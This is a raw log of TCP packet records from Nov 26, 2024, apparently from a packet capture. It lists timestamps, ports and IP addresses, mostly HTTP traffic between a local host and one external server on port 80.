Nov 26, 2024 22:52:44.905117989 CET	49848	443	192.168.2.7	23.44.133.41
Nov 26, 2024 22:52:44.905139923 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.905185938 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.905297041 CET	49848	443	192.168.2.7	23.44.133.41
Nov 26, 2024 22:52:44.905322075 CET	443	49848	23.44.133.41	192.168.2.7
Nov 26, 2024 22:52:44.906819105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.906866074 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.907004118 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.907047987 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.908782005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.908830881 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.908864021 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.908900976 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.910706043 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.910784960 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.910803080 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.910864115 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.912704945 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.912748098 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.912837029 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.912894011 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.914668083 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.914716959 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.914783955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.914819956 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.916599989 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.916673899 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.916687012 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.916729927 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.918566942 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.918621063 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.918685913 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.918726921 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.920511961 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.920572042 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.920595884 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.920681953 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.922491074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.922549963 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.922568083 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.922636032 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.980421066 CET	443	49836	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.980818987 CET	49836	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.980839968 CET	443	49836	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.981173038 CET	443	49836	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.981584072 CET	49836	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.981645107 CET	443	49836	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.988503933 CET	443	49837	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.989156008 CET	49837	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.989181042 CET	443	49837	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.989571095 CET	443	49837	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.991265059 CET	49837	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.991364956 CET	443	49837	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:45.008497000 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.008611917 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.008794069 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.008845091 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.009152889 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.009197950 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.009573936 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.009635925 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.009676933 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.010981083 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.010994911 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.011020899 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.011038065 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.012298107 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.012350082 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.012442112 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.012479067 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.013678074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.013766050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.013837099 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.013879061 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.014986038 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.015137911 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.015187025 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.016343117 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.016386986 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.016421080 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.016455889 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.017683029 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.017728090 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.017791033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.017858982 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.019057989 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.019146919 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.019184113 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.019231081 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.020382881 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.020432949 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.020503998 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.020572901 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.021712065 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.021795034 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.021817923 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.021855116 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.023037910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.023134947 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.023163080 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.023195982 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.024416924 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.024502039 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.024597883 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.024650097 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.025684118 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.025737047 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.025768995 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.025820017 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.026942015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.027004957 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.027038097 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.027081013 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.028223991 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.028270006 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.028343916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.028398991 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.029496908 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.029540062 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.029589891 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.029687881 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.030858040 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.030901909 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.030998945 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.031045914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.032001972 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.032051086 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.032109976 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.032145023 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.033216000 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.033257008 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.033319950 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.033400059 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.034456968 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.034502029 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.034560919 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.034600019 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.035725117 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.035832882 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.035855055 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.035871983 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.036899090 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.036946058 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.037020922 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.037060022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.038145065 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.038191080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.038254976 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.038300037 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.039350986 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.039412022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.039463997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.039617062 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.040535927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.040560961 CET	49836	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:45.040589094 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.040592909 CET	49837	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:45.040643930 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.040745020 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.041790962 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.041898966 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.041904926 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.041948080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.042906046 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.042957067 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.043004990 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.043051004 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.044101954 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.044154882 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.044219017 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.044591904 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.045273066 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.045322895 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.045347929 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.045389891 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.046432018 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.046479940 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.046565056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.046621084 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.047624111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.047663927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.047725916 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.048749924 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.048803091 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.048857927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.048893929 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.049947023 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.050045013 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.050096035 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.051088095 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.051146984 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.051192999 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.051441908 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.052253008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.052366972 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.052407980 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.053425074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.053476095 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.053519964 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.053561926 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.054621935 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.054697990 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.054721117 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.054763079 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.055732965 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.055783987 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.055955887 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.055999041 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.056921005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.057008028 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.057033062 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.057773113 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.058092117 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.058151007 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.058211088 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.058614969 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.059294939 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.059375048 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.059376955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.059417963 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.060425997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.060476065 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.060534000 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.060575962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.061594009 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.061640978 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.061691999 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.061738014 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.062843084 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.062908888 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.062954903 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.063029051 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.063925028 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.063980103 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.064032078 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.064079046 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.065217018 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.065228939 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.065284014 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.066232920 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.066282034 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.066376925 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.066427946 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.067435026 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.067486048 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.067512035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.067696095 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.068566084 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.068664074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.068675041 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.068814993 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.069741964 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.069797993 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.069853067 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.069919109 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.070903063 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.070955038 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.070991039 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.071182966 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.073843956 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.073857069 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.073909044 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.177361012 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:45.177453995 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:45.177594900 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:45.177912951 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:45.177936077 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:45.197767973 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:45.198293924 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:45.198333025 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:45.198771000 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:45.198776960 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:45.203035116 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.203047991 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.203109026 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.203363895 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.203425884 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.203459024 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.203516006 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.204236984 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.204283953 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.204405069 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.204526901 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.205199957 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.205262899 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.205379963 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.205424070 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.206080914 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.206136942 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.206319094 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.206362009 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.207240105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.207318068 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.207433939 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.207482100 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.208240032 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.208420038 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.208442926 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.208467007 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.209336996 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.209357977 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.209402084 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.210179090 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.210273981 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.210490942 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.210530996 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.211308002 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.211329937 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.211369991 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.212068081 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.212107897 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.212207079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.212259054 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.213126898 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.213171005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.213319063 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.213375092 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.214103937 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.214181900 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.214186907 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.214222908 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.215126038 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.215221882 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.215266943 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.215327978 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.216156006 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.216212034 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.216363907 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.216408014 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.217108011 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.217154980 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.217818022 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.217966080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.218198061 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.218249083 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.218487978 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.218607903 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.219053984 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:45.219207048 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:45.219223022 CET	80	49801	185.215.113.206	192.168.2.7
